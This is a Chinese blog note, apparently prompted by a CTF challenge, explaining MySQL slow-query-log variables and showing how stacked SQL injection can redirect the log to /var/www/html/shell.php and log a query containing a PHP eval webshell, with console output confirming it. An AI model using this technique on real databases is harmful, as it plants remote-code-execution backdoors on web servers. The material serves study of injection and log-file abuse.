SQL慢查询

是从深育杯一道mysql注入知道的
使用示例 详细讲解

使用条件:
可以使用堆叠注入或slow_query_log开启(默认是关闭的)
slow_query_log为慢查询记录开关
slow_query_log_file是查询语句的记录文件地址
以上参数参数可以通过set语句直接设置(secure_file_priv就不行)
查询语句执行时间大于参数long_query_time的值(可以直接通过set语句修改,默认为10s)
log_output 参数是指定日志的存储方式。log_output='FILE'表示将日志存入文件,默认值是'FILE'。log_output='TABLE'表示将日志存入数据库,这样日志信息就会被写入到mysql.slow_log表中。MySQL数据库支持同时两种日志存储方式,配置的时候以逗号隔开即可,如:log_output='FILE,TABLE'。
#使用set global slow_query_log=1开启了慢查询日志只对当前数据库生效,MySQL重启后则会失效。如果要永久生效,就必须修改配置文件my.cnf(其它系统变量也是如此)  

默认设置查询:

mysql> show variables like '%slow_query%';
+---------------------+--------------------------------------+
| Variable_name       | Value                                |
+---------------------+--------------------------------------+
| slow_query_log      | OFF                                  |
| slow_query_log_file | /var/lib/mysql/34886294ca4d-slow.log |
+---------------------+--------------------------------------+
2 rows in set (0.00 sec)
mysql> show variables like 'log_queries_not_using_indexes';
+-------------------------------+-------+
| Variable_name                 | Value |
+-------------------------------+-------+
| log_queries_not_using_indexes | OFF   |
+-------------------------------+-------+
1 row in set (0.00 sec)
mysql> show variables like 'long_query_time';
+-----------------+-----------+
| Variable_name   | Value     |
+-----------------+-----------+
| long_query_time | 10.000000 |
+-----------------+-----------+
1 row in set (0.00 sec)
mysql> show variables like 'log_output';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| log_output    | FILE  |
+---------------+-------+
1 row in set (0.00 sec)

配置说明:

slow_query_log    :是否开启慢查询日志,1表示开启,0表示关闭。  
log-slow-queries  :旧版(5.6以下版本)MySQL数据库慢查询日志存储路径。可以不设置该参数,系统则会默认给一个缺省的文件host_name-slow.log  
slow-query-log-file:新版(5.6及以上版本)MySQL数据库慢查询日志存储路径。可以不设置该参数,系统则会默认给一个缺省的文件host_name-slow.log  
long_query_time :慢查询阈值,当查询时间多于设定的阈值时,记录日志。  
log_queries_not_using_indexes:未使用索引的查询也被记录到慢查询日志中(可选项)。  
log_output:日志存储方式。log_output='FILE'表示将日志存入文件,默认值是'FILE'。log_output='TABLE'表示将日志存入数据库,这样日志信息就会被写入到mysql.slow_log表中。MySQL数据  
库支持同时两种日志存储方式,配置的时候以逗号隔开即可,如:log_output='FILE,TABLE'。日志记录到系统的专用日志表中,要比记录到文件耗费更多的系统资源,因此对于需要启用慢查询日志,又需  
要能够获得更高的系统性能,那么建议优先记录到文件

使用示例:

mysql> set global slow_query_log=1;
Query OK, 0 rows affected (0.00 sec)

mysql> set global slow_query_log_file='/var/www/html/shell.php';
Query OK, 0 rows affected (0.00 sec)

mysql> show variables like '%slow_query_log%';
+---------------------+-------------------------+
| Variable_name       | Value                   |
+---------------------+-------------------------+
| slow_query_log      | ON                      |
| slow_query_log_file | /var/www/html/shell.php |
+---------------------+-------------------------+
2 rows in set (0.00 sec)

mysql> select '<?php phpinfo();eval(REQUEST_[0]);?>'&sleep(11);
+-----------------------------------------------------+
| '<?php phpinfo();eval(REQUEST_[0]);?>' & sleep(11) |
+-----------------------------------------------------+
|                                                   0 |
+-----------------------------------------------------+
1 row in set, 1 warning (11.00 sec)

mysql> system cat shell.php;
mysqld, Version: 5.6.51 (MySQL Community Server (GPL)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
# Time: 211116  1:46:24
# User@Host: root[root] @ localhost []  Id:     3
# Query_time: 11.000200  Lock_time: 0.000000 Rows_sent: 1  Rows_examined: 0
use mysql;
SET timestamp=1637027184;
**select '<?php phpinfo();eval($REQUEST_[0]);?>' & sleep(11);**

注:使用set语句设置slow_query_log_file参数的时候需要设置为已经存在且具有对应权限的文件,否则会报错设置失败

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇